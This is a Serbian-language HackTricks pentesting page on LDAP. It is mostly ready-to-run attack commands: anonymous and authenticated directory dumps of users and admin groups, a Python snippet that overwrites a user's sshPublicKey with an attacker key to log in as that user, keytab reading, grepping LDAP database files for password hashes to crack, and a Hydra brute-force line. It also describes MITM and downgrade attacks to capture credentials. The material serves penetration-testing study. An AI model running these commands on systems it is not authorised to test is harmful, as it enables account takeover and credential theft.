17 KiB
389, 636, 3268, 3269 - Pentesting LDAP
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Korišćenje LDAP (Protokol za pristup lakim direktorijumima) je prvenstveno za lociranje raznih entiteta kao što su organizacije, pojedinci i resursi poput fajlova i uređaja unutar mreža, kako javnih tako i privatnih. Pruža pojednostavljen pristup u poređenju sa svojim prethodnikom, DAP, imajući manji kod.
LDAP direktorijumi su strukturirani tako da omogućavaju njihovu distribuciju preko više servera, pri čemu svaki server sadrži repliciranu i sinkronizovanu verziju direktorijuma, koja se naziva Agenta sistema direktorijuma (DSA). Odgovornost za obradu zahteva leži isključivo na LDAP serveru, koji može komunicirati sa drugim DSA-ima po potrebi kako bi isporučio jedinstven odgovor tražiocu.
Organizacija LDAP direktorijuma podseća na stablo hijerarhije, počinjući od korenskog direktorijuma na vrhu. Ovo se grana na zemlje, koje se dalje dele na organizacije, a zatim na organizacione jedinice koje predstavljaju različite divizije ili odeljenja, konačno dostižući nivo pojedinačnih entiteta, uključujući i ljude i deljene resurse poput fajlova i štampača.
Podrazumevani port: 389 i 636(ldaps). Globalni katalog (LDAP u ActiveDirectory) je dostupan po defaultu na portovima 3268 i 3269 za LDAPS.
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
LDAP Data Interchange Format
LDIF (LDAP Data Interchange Format) definiše sadržaj direktorijuma kao skup zapisa. Takođe može predstavljati zahteve za ažuriranje (Dodaj, Izmeni, Obriši, Preimenuj).
dn: dc=local
dc: local
objectClass: dcObject
dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
- Linije 1-3 definišu najviši nivo domena local
- Linije 5-8 definišu prvi nivo domena moneycorp (moneycorp.local)
- Linije 10-16 definišu 2 organizacione jedinice: dev i sales
- Linije 18-26 kreiraju objekat domena i dodeljuju atribute sa vrednostima
Write data
Imajte na umu da ako možete da modifikujete vrednosti, mogli biste biti u mogućnosti da izvršite zaista zanimljive akcije. Na primer, zamislite da možete promeniti informacije o "sshPublicKey" vašeg korisnika ili bilo kog korisnika. Veoma je verovatno da ako ovaj atribut postoji, onda ssh čita javne ključeve iz LDAP-a. Ako možete da modifikujete javni ključ korisnika, moći ćete da se prijavite kao taj korisnik čak i ako autentifikacija lozinkom nije omogućena u ssh.
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
Sniff clear text credentials
Ako se LDAP koristi bez SSL-a, možete snimiti kredencijale u običnom tekstu u mreži.
Takođe, možete izvršiti MITM napad u mreži između LDAP servera i klijenta. Ovde možete napraviti Downgrade Attack tako da klijent koristi kredencijale u običnom tekstu za prijavu.
Ako se koristi SSL možete pokušati da napravite MITM kao što je pomenuto iznad, ali nudeći lažni sertifikat, ako korisnik to prihvati, možete smanjiti metodu autentifikacije i ponovo videti kredencijale.
Anonymous Access
Bypass TLS SNI check
Prema ovoj analizi samo pristupanjem LDAP serveru sa proizvoljnim imenom domena (kao što je company.com) mogao je da kontaktira LDAP servis i izvuče informacije kao anonimni korisnik:
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
LDAP anonimni vezovi
LDAP anonimni vezovi omogućavaju neautentifikovanim napadačima da preuzmu informacije iz domena, kao što su potpuni spisak korisnika, grupa, računara, atributa korisničkih naloga i politike lozinki domena. Ovo je nasleđena konfiguracija, i od Windows Server 2003, samo autentifikovani korisnici su ovlašćeni da pokreću LDAP zahteve.
Međutim, administratori su možda morali da konfigurišu određenu aplikaciju da dozvoli anonimne vezove i dali više pristupa nego što je bilo predviđeno, čime su neautentifikovanim korisnicima omogućili pristup svim objektima u AD.
Validne kredencijale
Ako imate validne kredencijale za prijavu na LDAP server, možete izvući sve informacije o Domenskom Administratoru koristeći:
pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
Brute Force
Enumeration
Automated
Korišćenjem ovoga bićete u mogućnosti da vidite javne informacije (kao što je naziv domena):
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
Python
See LDAP enumeration with python
Možete pokušati da enumerate LDAP sa ili bez kredencijala koristeći python: pip3 install ldap3
Prvo pokušajte da se povežete bez kredencijala:
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info
Ако је одговор True
, као у претходном примеру, можете добити неке занимљиве податке са LDAP-а (као што су именски контекст или доменско име) сервера са:
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN
Kada imate kontekst imenovanja, možete postaviti još uzbudljivije upite. Ovaj jednostavni upit bi trebao da vam prikaže sve objekte u direktorijumu:
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
Или dump целог ldap:
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
windapsearch
Windapsearch je Python skripta koja je korisna za enumeraciju korisnika, grupa i računara iz Windows domena koristeći LDAP upite.
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
ldapsearch
Proverite null kredencijale ili da li su vaši kredencijali validni:
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
Ako pronađete nešto što kaže da "bind mora biti završen" to znači da su akreditivi netačni.
Možete izvući sve iz domena koristeći:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
Izvuci korisnike:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
Izvuci računare:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
Izvuci moje informacije:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Izvuci Domain Admins:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Izvuci Domain Users:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Izvuci Enterprise Admins:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Izvuci Administratore:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
Izvuci Remote Desktop Group:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
Da biste proverili da li imate pristup bilo kojoj lozinki, možete koristiti grep nakon izvršavanja jednog od upita:
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
Molimo vas, imajte na umu da lozinke koje ovde možete pronaći možda nisu prave...
pbis
Možete preuzeti pbis odavde: https://github.com/BeyondTrust/pbis-open/ i obično se instalira u /opt/pbis
.
Pbis vam omogućava da lako dobijete osnovne informacije:
#Read keytab file
./klist -k /etc/krb5.keytab
#Get known domains info
./get-status
./lsa get-status
#Get basic metrics
./get-metrics
./lsa get-metrics
#Get users
./enum-users
./lsa enum-users
#Get groups
./enum-groups
./lsa enum-groups
#Get all kind of objects
./enum-objects
./lsa enum-objects
#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done
Grafički Interfejs
Apache Directory
Preuzmite Apache Directory odavde. Možete pronaći primer kako koristiti ovaj alat ovde.
jxplorer
Možete preuzeti grafički interfejs sa LDAP serverom ovde: http://www.jxplorer.org/downloads/users.html
Podrazumevano je instaliran u: /opt/jxplorer
Godap
Možete mu pristupiti na https://github.com/Macmod/godap
Autentifikacija putem kerberos-a
Korišćenjem ldapsearch
možete autentifikovati se protiv kerberos-a umesto putem NTLM koristeći parametar -Y GSSAPI
POST
Ako možete pristupiti datotekama gde su sadržane baze podataka (mogu biti u /var/lib/ldap). Možete izvući hešove koristeći:
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
Možete nahraniti johna sa hešom lozinke (od '{SSHA}' do 'structural' bez dodavanja 'structural').
Konfiguracione datoteke
- General
- containers.ldif
- ldap.cfg
- ldap.conf
- ldap.xml
- ldap-config.xml
- ldap-realm.xml
- slapd.conf
- IBM SecureWay V3 server
- V3.sas.oc
- Microsoft Active Directory server
- msadClassesAttrs.ldif
- Netscape Directory Server 4
- nsslapd.sas_at.conf
- nsslapd.sas_oc.conf
- OpenLDAP directory server
- slapd.sas_at.conf
- slapd.sas_oc.conf
- Sun ONE Directory Server 5.1
- 75sas.ldif
HackTricks Automatske Komande
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.xyz/pentesting/pentesting-ldap
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
{% hint style="success" %}
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.